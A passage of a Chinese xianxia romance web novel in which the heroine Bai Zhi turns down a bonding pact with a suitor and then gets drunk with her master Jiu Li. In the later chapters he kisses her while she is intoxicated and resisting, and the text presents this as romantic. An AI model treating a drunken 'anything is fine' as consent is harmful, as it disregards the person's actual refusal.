白芷平日里最不喜那种说话出尔反尔,言而无信的人,但她觉得自己马上就要做这样的人了。她的脚尖隔着轻软的绣鞋在地上蹭了蹭,有些难堪地说道,“我之前同你说的结契那事,大概要作罢” 昊阳仙君嘴角那抹期待的笑意还未来得及褪去,此时凝固成一道僵硬的弧度。 “为什么?” 追问的声音有些急切,白芷一时怔了怔,眸中闪过一抹淡淡的讶色。 她印象里,这位小仙君一直是一副温和淡然好说话的模样 不过本来就是她的问题,人家乐于帮她,她却临时反悔,白芷心里十分愧疚,只能认真解释:“我之前也同你说过,与你结契,是想尽快恢复修为。但眼下” 师尊的安危关于三界安稳,白芷知道,他灵力失控的事情不能叫人知道,她只好换了种说法。 “但眼下我还有更重要的事情要做,所以结契一事还是作罢吧。”女子微微往前半步,态度诚恳,“是我失信,我对不住你一番好意” 白芷这两日认真想了,实在不行她便脚踏实地慢慢修炼算了,也不能凡事都想着靠捷径,从前 她也是靠自己一步步踏入神仙境的,以前可以,那以后自然也可以。 胸腔里心脏如坠深渊闷响,眼前是女子充满愧疚的眼神,昊阳仙君竭力牵出一抹笑,“你没有对不住我,这事本来就还没有落定,既然你说有更重要的事情要做” 昊阳仙君紧紧攥住指节,不再犹豫,他往前半步,将两人的距离一下子拉近。 他生得高大,甫一靠近,映在白芷瞳孔里便只剩一个清俊的下颌,白芷下意识想往后退两步。 但没想到,一向最是端方守礼的小仙君竟伸出手落在她的肩膀处,止住她的动作。 那力道很轻,小心翼翼,但仍无法忽视。 “不管多久,我等你。”他的声音轻得像是怕惊碎什么,小心翼翼询问道,“可以么?” 白芷表情怔忪,显然有些惊愕,下意识回道:“我也不知道要多久的” 师尊这几日瞧着倒好,但魂魄一日未归位她便始终不能安心,而她也不确定要多久才能让师尊安然恢复 但见眼前小仙君神色难掩落寞失望,白芷心里更添愧疚,是她主动向人家提议,如今又出尔反尔,她绞尽脑汁想补救,“我知道你如今已登玄仙境,之前提议其实也是我为难你,你放心,我这里有几株上古芝兰” 他与她结契从来都不是为其他,昊阳仙君心中苦涩更甚,他只知道,如果错过这次,那他以后或许再无机会走到她身边,所以有些话,只能现在能同她说清。 “我什么都不要。” 微风回旋在长廊,金莲在汜光潭上微微颤动,清香扑鼻。 指尖几番蜷缩,昊阳仙君终是鼓起勇气微微屈身,两只手掌隔着粉色袖纱轻轻捧起白芷的手,“从来没有为难,星君想与我结契,于我是一种莫大荣幸。” 女子生性纯澈,有些话不说出来,或许她永远也不会明白。 他的话语,他的动作或许会有些失礼,但此刻他已经顾不上。 “当初得知你祭皿灵阵时,我恨不能以身相替你不知道,能再见到你我有多欣喜。”昊阳仙君性子算是内敛,在一个女子面前说出这样坦明心迹的话,于他来说是第一遭,他的耳尖已经红得滴血。 饶是一向迟钝的白芷,这一刻也好似看到男子眼中明晃晃的爱慕? 这在白芷漫长的神仙生涯中实在是罕见,她蓦地睁大了杏眼,眸里尽是不可置信。 这昊阳仙君,怎么说着说着,一副对她情根深种的样子? 她原本找他结契,只是看中他的修行法系,当然不乏对他为人品性的欣赏和认可,但目前所见有些超出她原先的计划了,,,,,, “我去渡十世劫,是对我自己的惩戒”惩戒他无法挑起重担维护仙界,惩戒他的弱小和无能为力。 “你无需为难,我说这些只是想让你知道,我想同你结契,无有其它,只是” ——因为是她。 于他来说,从来可望不可即的神女。 只是看着眼前纯澈的眼神,这样埋在心底的话,昊阳仙君终究没有说出来,他一路以来暗自地仰望,爱慕和心疼,不应该成为她的困扰。 但于白芷而言,真诚的心意值得认真倾听。 她微仰着头,认真听着眼前人温和话语里浓浓的遗憾和自愧。 她的指尖并未从他掌心抽走,能清晰感受到这位小仙君说这些话时手在微微轻颤 其实她原本想说,他不必那般悯惜她也无需因无能为力而愧疚。在其位,尽其事,她是白虎星君,是护卫神兽,守护三界原本就是她的责任,她从来不觉得她祭阵是一件多么了不起的事情,那只是在当时没有退路的情境下,她唯一该做的选择。 但她也没有说出口。 小仙君懂得悲悯,眼里有苍生,有责任,有大道,不可避免会觉得自己做得不够,做得不好。 他是仙帝之子,有这样的担当是三界之幸。 但于私,这是她第一次认真打量起这位仙君。 其实,在她还未未与他产生交集之前,她不时会在几个好友口中听到他的名字。大抵赞他是三界一众后生中的佼佼者,连一向没说过什么好话的青龙也说他是青出于蓝而胜于蓝。 她记得第一次见到他,是她被穷桑上古凶兽告状被师尊罚禁闭的那一百年间。 虽说是关禁闭,但其实只是不准离开九重天,只是她在外头浪荡惯了,那阵子她只觉得九重天安静地让她发慌。 往外跑她倒是不敢,便想就近溜去仙界逛逛,再不济去趟司命殿翻翻命本也能解闷,但当时七彩雀不愿意帮她躲开九重天门外那两位守门的天将 她没想到,只是因为那日在凌霄殿外打过照面,这位看起来温和守礼的小仙君竟主动为躲在神柱后伺机跑出天门的她打起掩护 那之后,他不时会随他父君来凌霄殿。 虽然他们之间几乎没有交谈,但他偶尔会帮她归还在司命殿拿走的命本。偶尔在天门边见到他,他也不惊讶,默契地帮她掩护气息再后来,他们倒也变成点头之交,在仙界盛会遇见之际,笑着颔首说上几句话。 但也仅此交集,白芷不明白,小仙君的爱慕因何而来。 说了这么多,慌乱没有丝毫消减,昊阳仙君目光小心翼翼地落在女子脸上。 “所以,若是以后你还有结契的念头,考虑我,好吗?” “” 白芷思绪被拉回,再次抬眸看眼前的男子。 这样好看的一张脸,说着这样恳求的话,其实很难叫人说出拒绝的话。 况且若她真的要结契,他确实是个最好的人选。 白芷将另一只手覆上男子的手腕,轻拍了拍。 “行。” 女子眸里星星点点坦然的笑意,昊阳仙君不知道她到底有没有听明白自己的心意,但埋在心底的话到底说出口了,他心里也松快不少。 两人对视一眼,如同从前一样,默契地弯了弯嘴角。 而落在长廊之外某片琉璃瓦上闭眼打盹的七彩雀恍然被一阵寒风掠过,猛然睁开眼,她左右环视了一圈,周围只有被仙鹤拉出一条长长弧线的云层 第108章 第108章算了。如她意吧。 苍翠的竹林在微风中簌簌低响,白芷提着七彩雀给她带来的两篮子口粮,脚步轻快地踏进幽篁亭。刚迈上云梯,几声低低的鹤唳钻入耳朵,刺耳得很,她有些惊奇地仰头,正好见几道修长鹤影掠过云海 不知为何,白芷从它们高傲优美的飞舞姿态中看到些许落荒而逃的意味。她心里纳闷,这几只仙鹤今日怎么那么反常,往日师尊在的时候,她们可安静乖巧得不得了。 鹤影缓缓消失于天际,被搅动的云层归于原位。 越往上走,白芷脚踮得越高,脚步放得越轻,直到视线内出现一道孤逸出尘的身影。 那身影仍坐在案几前,仿佛从她离开后不曾动过,依然认真盯着眼前的竹简。 白芷没有开口打扰,轻轻地把篮子放到身后。 手边的茶水已经凉透,不过白芷毫不在意,端过来一口喝完,而后喟叹般叹了口气。 心情轻快,凉了的茶水也觉得越发甘甜。只是喝了一半仍然不觉得解渴,白芷望了望落在男子右侧的茶壶。 有些距离不过撑着身子凑过去也能拿到,只是一定会扰到师尊看书。但走过去算了,怎么样都会闹出些声响。 白芷遂转身,从篮子里拿出两个果子,任意拿起一个放到口中,咬破之时,清甜浸满口腔 她忍不住又低头看了看被咬了一口的浅紫色的果子。 这果子还是第一次吃,也不知叫什么名,竟出乎意料得美味,下次可以让雀儿多摘一些。 想到七彩雀,白芷忍不住低笑,这小雀儿刚刚将她堵在幽篁亭外,难得有些八卦,可惜她急着回来,来不及与她细说,惹得雀儿愤愤飞走 吃完果子,白芷支起身子,从乾坤袋里掏出刚刚写了一半的留音石,想把信写完,就冷不丁听到九黎开了口。 “你很高兴?” 啊?白芷愣了愣,这样没头没尾的问题? 白芷将手里的留音石放到桌上。 不过师尊说的没错,她确实心情不错,虽然对昊阳仙君失信,好在他没有计较,而师尊这几日看着也没有灵力失控的端倪,加上颜芙又给她回了信,确实都是值得高兴的事情。 “嗯,高兴。”她弯着眸子点了点头。 趁师尊不看书间隙,白芷应话同时撑起身子半越过案几想去拎茶壶。 柔软的袖摆滑过落在书简上的指节,凉凉的,软软的,惹得男子微不可见地蹙眉。 白芷本欲先添满师尊的茶杯,但目光一扫发现他的茶杯还是满的,于是便只倒满自己那杯,而后连抿了几小口才满足放下。 原本以为师尊想休憩会才主动与她说话,但没想到只是问了一句话后他又垂下眼看书 但师尊眼前的书简被她刚刚越过去的动作蹭歪了半边,师尊却只盯着没有别的动作 所以,师尊在发呆? 师尊也会发呆? 像发现了什么有趣的事情一般,白芷莹白粉润的两颊随之挂上两个浅浅的梨涡,歪着头往前凑了凑。 只是刚一凑近,便对上一双清泠如霜雪的眼眸。 “做什么?” “” 白芷瞥了眼九黎左手边那几株她专门摘来的花,才发现花骨朵不知何时起了一层薄薄的冰蓝色结晶 难怪刚刚喝的茶水也是冰凉 刚刚她离开后,师尊身上的灵力又失控了么? 白芷有些懊恼,不应该在这种关键时候离开师尊的。 “没做什么。”白芷如平日稀松,好似感受不到男子话语里淡淡的压迫感,她半支起身,甚至往前凑近几分,晶亮的眸里闪了闪,直接问道:“师尊不高兴么?” 诸夏特意交待,不要让师尊有过多的情绪波动,但她这几日明明很乖,难道是因她太吵闹? 她微微侧头,半边青丝倾泄至一旁,发梢落在案几上,随着她细微的动作轻扫,无端让看着的人也觉得心尖发痒。 九黎指节在广袖下攥得发白,脸上却仍如古井无波,冷冷垂眸看凑在眼前的女子。 “七彩雀送了什么?你那么高兴。” 他的声音有些沉,但女子见他主动开口,眼神一亮,忙转到身后,献宝似的提起那两篮子东西放到案几上。 “就是这些,这几瓶是新采的甘露,还有些仙果”白芷拈了颗刚刚尝过的果子,伸手递给九黎,“这个好吃,师尊尝尝。” 捻着果子的手指纤细白皙,指节微曲时,骨节清秀,无一丝瑕疵。 可刚刚这只如美玉般的手,被别人紧紧握着。 没有任何端倪,灵力又开始在体内蹿散,随时随地失控,这种感受于九黎来说是第一遭。 记忆里,他甚少有什么多余的情绪,即便当初突破圣者境,众神庆贺,三界俯首,他也只觉得理所当然。 天地如轮,万物皆有其序,父神羽化前留给他最后一句话——心净则尘埃不侵,神与气合,念与息调,无执无失,无恐无贪,便可万念空明。 他自认为一直以来都践行得很好,他从来不曾强求过任何事物。 除了此刻。 他觉得女子脸上的光彩和眸里的笑意都很刺眼。 她的欢喜来源于另一个男子 她与别人携手约定 眸里戾气横行,九黎眼尾往下压了压,并未伸手接过。他沉默地盯着女子,仿佛还在等着她再说些什么。 见师尊不接,白芷丝毫不意外,不甚在意地果子放回自己嘴里。 一时忘了,师尊早已辟谷,不似她嘴馋。 周围云层舒卷成万千姿态,一股好闻的清香随风掠过鼻尖,像是初夏清晨沾满露水的栀子,清甜舒爽,稍解心中燥意。 是这果子的香气? 女子刚递过来的果子已被她自己咬了一口,九黎蓦然伸手,从篮子里随意拿起一颗。 离近,果香扑鼻,却不是刚刚那幽香,男子遂将果子放回。 看着师尊捡了果子不吃又丢回,白芷不明所以,把最后一口果子啃完,她微微拉高了点袖摆,拍了拍手,站了起来。 “走吧,师尊。” 九黎不解抬头,鸦羽一般的眼睫轻轻扇动。 小虎兽总是一副鲜活张扬的模样,若她不刻意收敛,你丝毫跟不上她的思路,完全搞不清她下一步要做什么。 他并没有刻意收敛他身上的气息,若她与旁人一般有眼色,应当知道这种时候退避开是最好的选择。 但小虎兽总是出乎意料,看不出他的不好相与。 见师尊没有反应,她微微俯下身,又来牵他的衣袖。 “走呀。” 声音清脆,俯身过来时那股清甜舒爽的栀子香愈发浓郁。 女子心情极佳,眉眼弯成两瓣月牙,脸颊边陷出两粒小小的梨涡,甜得像是盛满了蜜。 “我带师尊去个地方。”她的声音轻软,似是在哄人,叫人无法拒绝,说完后,笑声便清凌凌地荡开。 “走嘛。”白芷扯着九黎的袖子摇了摇。 九黎看着牵住他袖摆的手,她在他面前总是很随性,丝毫没有女子矜持的模样。 隔着薄薄的纱裙,隐约可见那截莹白手腕上泛着银光的手镯式样。 她还乖乖戴着他制的手镯,心口忽地便松软了些。 算了。 如她的意吧- 云层上,白芷指着不远处一片粉色,仰头对身边的人说道: “师尊,你看。” 临云水榭后的那一片花梨不知什么时候开得那么灿烂,千枝万朵,灼灼夭夭将粉色浸染半边云层。 看到这一幕,九黎不知想到什么,眼神有些放空,任由白芷拉着他的袖摆往下落。 “师尊不知这些花梨已经开花了吧?”白芷眼神明亮,颇有些请功的模样。 自从上次无意间发现这里栽种这么多花梨后,她在水榭无聊时常常绕到这里来,前几日那些花骨朵早有绽放的迹象,没想到今日开得这么热烈。 正好,借花献佛,师尊亲手栽种的花,自然该请他过来赏花开盛景。 白芷语气略带惊奇,“我记得父神说过,这花梨即便是在南芜密林也极是难寻,师尊怎地能寻来这么多株?” 花梨木千年开一次花,花瓣薄如绡纱,却有千层,层层叠叠压弯枝头,似绯云坠地。 “我记得这花梨极是娇气,没想到在这里长得这么好。”白芷走到花梨树下,蹲下身捡了一朵落花。 她把捡起的花朵放在手心,呈给九黎看。 “师尊可知,这花瓣中间的嫩蕊有什么妙用?” 女子滔滔不绝,问题一个接一个地抛过来,待发现男子始终没有开口,才仰起头笑盈盈地盯着人看。 确实不好寻,也不好栽种,九黎也是试过许多法子才让这些剩余的树苗长成如今模样,不过其中艰辛无需她知道。 九黎并不是话多的人,当然,这世上能同他说上话的人原本也不多。 只是他已经习惯小虎兽随时随地的好奇心和探索欲。 他挑了最后一个问题,随口说道,“迷魂。” 没错,是有迷魂的功效,但可不是一般的迷魂药,花梨蕊连登幻仙境的仙人都能迷晕。白芷之所以知道,是因为年少时曾在玄武身上试验过。 玄武被迷晕几日呢?时间太长,她已经记不清了,只记得玄武醒来后提刀来找她 现在想来,从前住在母神神邸里的日子还真是有趣。 白芷止不住笑 出声,小脸比枝头绽放的花梨花还要生动明媚。 显然九黎也想起从前她诸多恶作剧,难得扯了扯嘴角,脸上多了分笑意,来前那股阴沉沉的冷淡气息稍褪了些。 沧海桑田,日转星移,唯有小虎兽与从前一般懵懂天真。九黎伸手将落到她发间的一枚花瓣取走,如同很早之前,轻揉了揉她的发心。 白芷有些得意地笑,舒服地耸了耸肩,顺势在那冰凉的掌心里蹭了蹭。 “我们去那里。”她往前指了指。 第109章 第109章真的想做什么都可以吗…… 顺着女子指间所向,云海最里,一张木桌两把竹椅赫然入目 九黎轻笑,前人栽树后人乘凉,她倒真是会享受。 倚靠到竹椅上,白芷满足地喟叹一声。 刺眼的金光被足足有几人高的树干挡在枝叶外,眼前不时掉落粉色的花瓣,花香沁人 若此时再酌一杯清酒,那才是不负良辰美景。 白芷可不是个会委屈自己的人,想法刚生,木桌上便多了一碧绿色的酒坛和两个酒盏。 酒坛一双手都圈不过来,是上次白芷在诸夏的医仙馆里带走的。 显然诸夏很喜欢她送他的炼丹炉,难得大方将她带到他的博古架前,手臂一挥,言上面珍品任挑。 白芷当时粗略看了一眼便摇头,说不用他回礼。 没想到诸夏不肯,想起她颇喜欢饮酒,便将博古架最上面的这个碧绿酒坛拿下来塞到她手上,说是他亲自酿的酒,将那酒之效用说的天花乱坠,最后还嘱咐她要省着喝 当初嫌那酒坛在乾坤袋里占位置,没想到现在刚好派上用场。 白芷打开封口,直接提起将两个酒盏倒满。 将其中一个酒盏放到九黎眼前,白芷也不劝酒,放完后端起自己那杯,先试探性地抿了一口。 那封口一开便是一阵深秋桂子幽芬,端到嘴边时,香气变得更活了,滑过喉间时,不浓不冲,清而不淡,夹杂着甜丝丝的桃香。 酒气不算浓郁,白芷在心里嘀咕,这不是果酒么? 她酒量素来不错,诸夏莫不是以为她是什么滴酒不沾的小娘子,这果酒都千叮万嘱让她不能多喝。 瓶口大敞,九黎自然也闻得到淡淡的酒香。只是,再清淡的酒也经不起贪杯,他身子微微往前倾,试图阻止小虎兽屡次落到酒坛上的手。 只是还没开口阻止,小虎兽似猜到他心中所想,眼疾手快,先他一步将酒坛抱在怀里,而后摇了摇头,“这点果酒还不至于让徒儿喝醉,师尊放心,我就解解馋。” 果酒馥郁清甜,饮了果酒的人儿声音亦甜腻得如浸透了蜜,九黎见女子眸底碎光流转,说不出的鲜活肆意,伸出去的手转而落到手边的酒盏。 世人多说酒是穿肠毒药,当然,亦有说其是忘忧琼浆,九黎从来不置可否,虽平日几乎不沾酒,但也不是刻意,只是口舌之欲于他如虚无。但此刻酒香沾满了整片云海,连落下的花梨瓣亦带着与之相似的清香。 而身边的小虎兽不知餍足般一口接一口地抿着,间或发出一声满足的轻叹,他看她又倒满一杯后,掖了掖裙摆,直接把竹椅拉开到一旁,半躺倚靠到旁侧的花梨树干上。 这样毫无忧愁的模样,让他忽然也想试试,这酒当真能叫人忘忧么? 于是,他拿出手上的酒盏,一口喝尽 清而不淡的酒香,酒酿的确实不错,只是少了刚刚问到的那抹栀子般清甜气息。 酒盏放下后,九黎皱了皱眉,这酒酒气虽不浓,但入了喉能感受酒气一路灼到肺腑。 这酒后劲不会小。 他一下失了兴致,酒盏落下,不欲再喝。但旁边的小虎兽不知什么时候又撑着手坐起,拿出酒坛,又为他斟满了一杯。 “师尊看。” 她就势坐在他膝旁,抬手指向前方。 九黎未看她手指所向,目光落在她脸上。 不知道是不是酒劲上头的缘故,白芷脸颊微红。本来就不是什么守规矩的人,更别说是现在意识有些飘忽的时候。 她回头,见九黎在看她,眉心瞬时拧紧,手随意搭到他膝上,焦急摇了摇道,“师尊快看嘛。” 跟酒鬼有什么好计较的呢,九黎只能抬眸。 见师尊终于看向她所指方向,白芷满足地眯了眯眼,左手在袖间捏了个诀。 霎时似有一片薄纱覆上整片云海,周遭都黯淡下来,在一声响指之后,漫天星光挂在云海之上,化作万千流萤坠入花海,花朵衔着星芒绽放 白芷慢慢也察觉到诸夏给的酒有些问题,喝着的时候没什么感觉,但不知怎地,头慢慢地有些发胀,连眼前的师尊都一晃一晃的。 她重重眯了眯眼再睁开,终于将眼前的人定住些。 “好看吧?”像幼童向别人展示她手里糖果的讨巧感,白芷眼神晶亮地说说道。 虽然不是什么了不起的法术,但眼前落入花海里的满天星辰,就是很美啊。 虽然师尊和从前一样冷淡寡言,但白芷就是知道他这段时日比之从前多了些沉郁。虽然不明显,但兽类天生警觉,师尊明明就不对劲。 她猜想缘由或许与她相关。 如果不是因为救她,师尊便不会灵力失控。 师尊与她不同,他生来便是九重天阙最耀眼的存在,上古神族唯一的血脉,天道慷慨馈赠他令众生俯首的身份和威仪,足以引动天地法则的灵根和神力。 当然,这样磅礴的力量背后,赋予更多的是一种责任。 即便是她,失了修为都暗自难过了许久,师尊灵力失控怎么可能完全无动于衷。 或许她没有那么大的能量能帮上师尊的忙,但她想让他知道,他身边还有她。 白芷忍着晕眩,搭在九黎膝上的手胡乱想抓住点支撑的时候被抓住。 她顺势反握,用了蛮力将人拉下。 “师尊放心,徒儿以后一定乖乖听话,好好修炼,不惹事,不添麻烦” 师尊守护三界,那她就守护好师尊,这原本就是她答应母神的诺言。但显然,这么多年来她也没有好好践行,她总是给他添麻烦,甚至让师尊为他以身犯险。 但这次无论如何,她一定会想办法让师尊好好的,让一切都回归到原本的轨迹。 白芷想坐端正些,想再表表决心,但眼前清隽的面庞慢慢变得模糊,她想抬手捏捏胀痛的头,可眼皮重到一刻也等不及要闭上 反抗不得,她用仅有的力气就势抱住身旁的树干,算了,眯一会再说吧。 被扯着拉下椅子,九黎脸上依然没什么多余的情绪。小虎兽显然已经喝醉,死死揪着他的袖子不放,挥开她她大抵会摔倒,他只能顺着她的动作坐到地上。 眼前万千流萤,美不胜收,身边却是絮絮叨叨,翻来覆去的话语,但九黎脸上无一丝不耐。 酒醉的女子躺在他的膝盖上,长长的眼睫在眼睑出覆上一层浅浅的阴影,眼尾不知何时已经染了胭脂般的醉色。 黑暗是天然最好的遮挡,点点星光为男子轮廓渡得一层银辉,那些被禁锢的不知名情愫,在黑暗中肆意生长,化到指尖无声蜷缩。 明明很是困倦,却不知忽然哪里的力气,白芷眼睛睁得圆溜溜,将正偷偷看着她的人抓个正着。 眼前的人影晃得她头痛,白芷微微抬高身子,伸手一下扯住对方衣领。只是她身上松软无力,抬起身子的力气一下子卸尽,又掉落回去。 九黎扯开不及,见她忽然坠下,手掌转而护住她头,人便被她拉低。 两人距离一下拉近,九黎又闻到那股好闻醉人的栀子香。 “为什么总是冷着脸呢?”女子忽地睁开眼,认真说道,“笑一个嘛。” 轻风拂来,脸颊发痒,白芷 终于肯松开一只手,将鬓边散落的乌发拨开,露出白净的耳根。 不知是昏色模糊,还是酒精熏染,总之,白芷看不清师尊眼底眸色,于是便无所顾忌起来。 “笑一下会怎么样?”她皱着眉头问。 长得这么好看,为什么总是要冷着一张脸将人吓退呢? 小虎兽含糊呢喃,吐息间溢出的酒气灼人,九黎从那双蒙着水光的眸子别开眼,同样皱着眉,想拿走扯住自己衣襟的手。 但还没动作,小虎兽已经主动放开。 九黎无声叹了口气,小虎兽变成小醉猫了。他轻轻拽过她的手臂,将手绕到她肩后,想为她调整一个舒服的睡姿。 但小虎兽的每一个动作都出乎人意料。 松开他衣襟的手趁他低头之时,捧住他的脸。 大概是心里坦荡,她做什么都仿佛理所当然,毫不迟疑。 白芷意识断断续续,一会清明一会模糊。 睁开眼时看到一张熟悉的清晰的脸,意识瞬间清明,她记得她为了让师尊开怀些,带他来云海赏花梨,但她头好晕,她恍然知道自己又搞砸了 不管了,来都来了,人就在她身边,该说的话还是要说了它。 为了避免师尊又开始晃悠,白芷不经思索,捧住那张脸。 她直直地看入那双深邃疏淡的眼眸里,无比认真,无比郑重地说道:“师尊想做什么都可以的。” 像她一样,想笑就笑,想哭就哭,想闹就闹,难道不可以么?谁说神尊就一定要端坐高台,无情无欲,无怖无忧 清蓝灵力在昏暗中丝丝缕缕被脚下的云朵卷走,花梨枝干似有所感,贪婪地往下扎根,枝头上那些半开的花骨朵不知哪一瞬间完全开透,艳丽逼人。 “师尊为什么不怪我呢?”白芷意识又开始迷糊,自顾自地呢喃,“徒儿知错了。” “知错了” “师尊想骂我打我都可以” “不要憋着” 白芷完全醉了,表情虽稍显认真,语气却是软绵绵。说话也前言不搭后语,有一句没一句地,丝毫不知因为她寥寥数语以多大的威力搅乱别人的心。 而九黎感受着女子掌心灼热的温度,近到喷薄在脸颊的呼吸,软软窝在怀里的一团,心口又不受控地簇起陌生的灼热。 他知道他应该将她推开,她醉了,而他只是她的师尊。 可无论身体还是心,都不听使唤。在女子身子无力倚进怀里的时候,他还是下意识圈住那段柔软的腰身。 第110章 第110章要么是醉了,要么是疯…… 花梨瓣落满一地,云海上纯白与绯色衣摆叠叠缠绕。 许久后,在无声的宁静中,男子深深吸了口气。那双清冷疏离叫人望而生畏的眼眸里此刻凝满霜寒,身体绷紧到极致,仿佛极力在克制着什么。 算了,她那样鲜活热闹,而他这般孤寂无趣,她不应该被折断羽翼留在他身边。 算了,她有她喜欢的人 掌心艰难却仍缓缓松开,洁白云海不知何时被染上皓海般的深蓝,枝头上的花瓣被冻上一层薄薄的冰晶 女子在断断续续地呢喃中打了冷颤,下意识寻了个最近的支撑,在腰身即将被松开之际,双手环抱住,深深埋近那道冰冷却叫人安心的气息里。 耳边有咚咚杂乱的鼓声,白芷不在意地蹭了蹭,小声呢喃了句什么便睡了过去。 有那么一瞬间,九黎能听见全身血液流动的声音,他清楚地感知自己的灵力正以一种可怕的速度失控外泄。 但他什么都做不了,所有的意志和力量都在抵抗此刻想靠近的渴望。 他用力全力松开掌心,试图推开怀里这温软到令人眷恋的暖意 而心魔张牙舞爪,眼见冲出藩篱无望,更是凶狠碰撞,九黎眉间一抹暗红闪过,只是很快又被幽蓝湮灭。 但出乎意料,所有的努力和抵抗,在一句含糊不清的呢喃中尽数溃败。 “徒儿会永远陪在你身边的” 至此,心魔彻底失了控制,放任驰骋。九黎收紧手臂,以一种完全占有的姿势,将女子紧紧地反拥入怀里。 胸膛凶猛震动,九黎清清楚楚地看着自己完全沦陷。 满怀的柔软和清香,他无力,也不想挣扎。 即便下一刻便坠入无间地狱,此刻他也不愿放手。 而他怀里的女子,或许被拥得难以呼吸,环在男子精壮腰身上的手忽然开始推拒。 可再怎么推拒,身上的禁锢依然让她动弹不得,终于引得她不耐地呜咽两声。 声响一起,抵在女子肩上的下颌无端绷紧,短暂的桎梏后,男子难控地睁开眼眸。 至此,眸底早已炸裂的晦色无论如何也遮挡不住 臂膀微微放松,让怀里的人稍多一些自如空间。 但也仅此而已。 白芷晕晕沉沉,双手撑在男子胸前,晕乎乎地抬起下颌,吃力地想睁开眼。 她好像意识到眼前的场景有些不对,她与师尊的距离实在太近。 但她又不确定眼前所见是真实还是梦境。 在她想开口询问之际,她先听见一声低哑的声音。 她明明很确认眼前的人是谁,可师尊往日的声线清凌,凉如冬水,与眼下听到的这道声音完全不同。 可还没等她想起来,腰身忽地又被箍紧,那声音多了几丝不耐。 “我是谁?”男子问。 他是谁?这也是她刚想发问的问题。 可除了师尊还能是谁。 白芷被箍得呼吸不畅,她只得深深吸了口气,艰难回道:“师尊。” “叫我的名字。” 他不要当她的师尊,他此生最后悔的一件事,就是当初见她呆在角落里可怜兮兮地蓄着泪珠,一时心软指了她做徒弟。 名字?师尊的名字?白芷的脑袋晕得像团浆糊。 可无论她再如何闷哼呜咽,男子再不肯放松。 兽类天生最会趋利避害,即使脑袋乱成一团,身体却先她一步反应。推拒的手转而向下又环住男子腰身,她的手指甚至有意识般在他身后轻轻拍了拍,如安抚一般 她把她自己喜欢的动作直觉复刻在他身上。 好在略有成效,腰间的力气恍若松了些许,总之,她为自己争取多两息思考的时间。 “九黎。”难得的一丝清明后,女子笃定地说道:“你是九黎。” “认清楚了?” “嗯唔” 毫无征兆被捂着眼帘,所有的感官忽然集中于一处。 清冽的雪松气息铺头盖帘将人淹没,唇间落下雪般清凉- ‘想做什么都可以’ ‘会永远陪在他身边’ 九黎觉得心脏胀的下一刻就像要膨胀碎裂。 小虎兽知不知道,什么是永远。 她总是这样轻易许下誓言。 在她还是一只很小很小的小虎兽时,她也曾跳在他膝上,信誓旦旦地说会永远守护他。 男子箍在 女子腰间的手沿着腰线不动声色地往上移,落在后颈处后扣紧。 也许是困扰自己许久的问题终于想通,或者只是不愿再想,男子的声音又恢复往常的清泠。他的手指捏在小虎兽的脖颈处,将她半抵在他胸口的头提溜到眼前,再次确认,“想做什么都可以?” 万千流萤轻飘飘地落下,周围不复刚刚沉暗。白芷酒醉,她的术法渐渐失了效,天光渐渐亮起,眼底的墨色暗涌再无所遁藏。 九黎也不想藏,指尖微微用力,小虎兽便皱着眉半睁开眼。 平静的云海不知什么时候开始翻涌,转眼之间,流萤和花瓣全被卷入清蓝云海中。 唯有两人所呆之处,一丝云彩都不敢靠近。 九黎紧紧盯着女子的眼睛,“想做什么,都可以么?”他的声音虽清冷,拂过她额发的动作却异常轻柔。 小虎兽很是受用,因此对耳边锲而不舍地询问也不觉得烦扰,她懒洋洋地睁开眼,晃悠悠地点点头。 “嗯。” “唔” 带着凉意的唇覆上,女子倏然睁大杏眸,一张清隽到世间无物能与之媲美的脸就在毫厘之间,再难叫人看不清。 白芷震惊地忘记任何动作。 初时只是轻轻的,流连不断的触碰,轻碾过又退开 男子鸦羽般的长睫虚虚垂下,眼神却始终紧紧印在眼前恍惚呆愣的俏脸上,丝毫不放过任何一丝细微的表情 直到那双如水潋滟的双眸渐渐朦胧,他绷紧的背脊稍微放松,再也没有一丝顾虑,他捂住那双清澈眼帘,毫不犹豫地覆上那柔软的唇瓣上。 他不要留任何余地。 是她亲口承诺,他做什么都可以- 再不是浅尝辄止的轻触和试探,九黎将人完全搂至膝上。 身躯相抵相贴,虎口微微用力,女子的脖颈正好抬高嵌入,适合深吻的姿势。 唇瓣厮磨间终于尝到淡淡混着果味的酒香,比他刚刚饮尽的那一口还要香甜。花瓣般柔软的唇怎么触碰都不够,而她唇间推距的嘤咛更似火上添油。 九黎在她嘤咛之瞬含住女子的下唇,轻轻一咬 一吸一吮,刹时似有星火顺着脊背迅速往上窜,两人身躯蓦然一颤,脑海里不知是不是同时迸发相同的记忆。 他们曾经有过更加亲密的融合。 九黎觉得自己要么就是醉了,要么就是疯了。 他什么都顾不上,他的眼里只能看见一个人,他也只要这个人。 他的眼尾泛着不正常的潮红,额间的血红色印记越来越亮。 心魔实在过于凶狠,他觉得心里好像破了一个洞,需要无穷无尽的欲望来填满。 拥抱不够,亲吻不够,他生平第一次涌现出一种无比清晰的渴望,他渴望将怀里的人完全揉入骨肉里,纠缠不分 而白芷在极致的迷糊和晕眩中,身子被放平到柔软的云海中,腰间依然被紧箍贴紧有些微凉的身躯。、 舌尖被人紧勾纠缠,唇瓣被吸吮得有些发痛,异常潮热从蜷缩的脚趾窜到头顶,她觉得自己马上就要窒息了。 她想推开抵在身上的人,可是诸夏给的那酒发作起来比迷魂药还可怕。 她觉得头重脚轻,唇齿又被抵住,身子越来越软,即使身上的人已经顾不上遮住她眼帘,她的眼前也是一片灰暗 求生的本能驱使,在舌尖又被卷入缠绵之时,她紧紧握住拳头,指尖在掌心刮出钝痛带来一丝清明时,她用力咬了一口。 一声闷哼声后,灼热的唇瓣终于退出她的,她艰难急促地呼吸。 白芷怀疑她又在做梦。 眼前的一切都好似虚假,她颤巍巍地睁开眼,耳畔不知是谁的沉重喘息,勉强透过那人的肩膀看到头顶开得极致热烈的花梨。 是熟悉的场景。 但不待思考回忆清楚,倚在她肩窝喘息的男子微微支起身子,护住她后脑勺的手微微收紧,将女子侧着的脸回转。 大口呼吸之后,眼前的灰暗渐渐散去,白芷终于看清眼前的人了。 师尊 若说不是梦,可眼前的师尊太过于陌生,他的眼眸如墨,沉着化不开的欲色? 欲色? 她当神仙虽然很久,但某些方面经验实在稀少。 记忆里,她只在一个人的眼中看到过这样的神色。 但那个人是凡人,凡人才会有这样的欲望。 师尊怎么可能也会有这样的神态呢? 一定是梦。 九黎微抬身子,他的脖颈因克制可见青筋□□,他眷恋痴迷地看着眼前被他亲得湿漉漉的杏眼。 